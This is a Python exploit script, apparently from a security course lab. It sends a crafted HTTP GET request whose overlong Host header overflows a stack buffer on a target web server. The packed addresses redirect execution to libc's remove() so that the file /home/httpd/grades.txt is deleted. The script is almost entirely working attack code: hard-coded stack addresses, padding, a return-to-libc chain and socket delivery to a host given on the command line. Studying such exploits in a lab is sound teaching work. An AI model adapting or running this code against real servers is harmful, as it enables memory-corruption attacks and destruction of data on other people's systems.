#!/usr/bin/python
import sys
import socket
import traceback
import urllib
import struct

# stack values
fd_addr      = 0xbfffde10
return_addr  = 0xbfffde0c
ebp_addr     = 0xbfffde08
i_addr       = 0xbfffddfc
value_addr   = 0xbfffdbf4
envvar_addr  = 0xbfffd9f4

# attack values
func_addr        = 0x4007b170    
ptr_to_file_addr = fd_addr + 0x8
file_str         = "/home/httpd/grades.txt\n"  
ret_addr         = 0x4007b170    

def build_exploit(shellcode):
    req = "GET / HTTP/1.0\r\n" + "Host: "       # GET request header
    req += "a" * (ebp_addr - value_addr + 4)    # padding
    req += struct.pack("<I",func_addr)          # remove()
    req += struct.pack("<I",ret_addr)           # fake return address (also remove())
    req += struct.pack("<I",ptr_to_file_addr)   # pointer to "grades.txt"
    req += file_str                             # "grades.txt"
    req += "\r\n\r\n"                           # GET request suffix
    return req 

def send_req(host, port, req):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("Connecting to %s:%d..." % (host, port))
    sock.connect((host, port))

    print("Connected, sending request...")
    sock.send(req)

    print("Request sent, waiting for reply...")
    rbuf = sock.recv(1024)
    resp = ""
    while len(rbuf):
	   resp = resp + rbuf
	   rbuf = sock.recv(1024)

    print("Received reply.")
    sock.close()
    return resp

# execute request
if len(sys.argv) != 3:
    print("Usage: " + sys.argv[0] + " host port")
    exit()

try:
    shellfile = open("shellcode.bin", "r")
    shellcode = shellfile.read()
    req = build_exploit(shellcode)
    print("HTTP request:")
    print(req)

    resp = send_req(sys.argv[1], int(sys.argv[2]), req)
    print("HTTP response:")
    print(resp)
except:
    print("Exception:")
    print(traceback.format_exc())

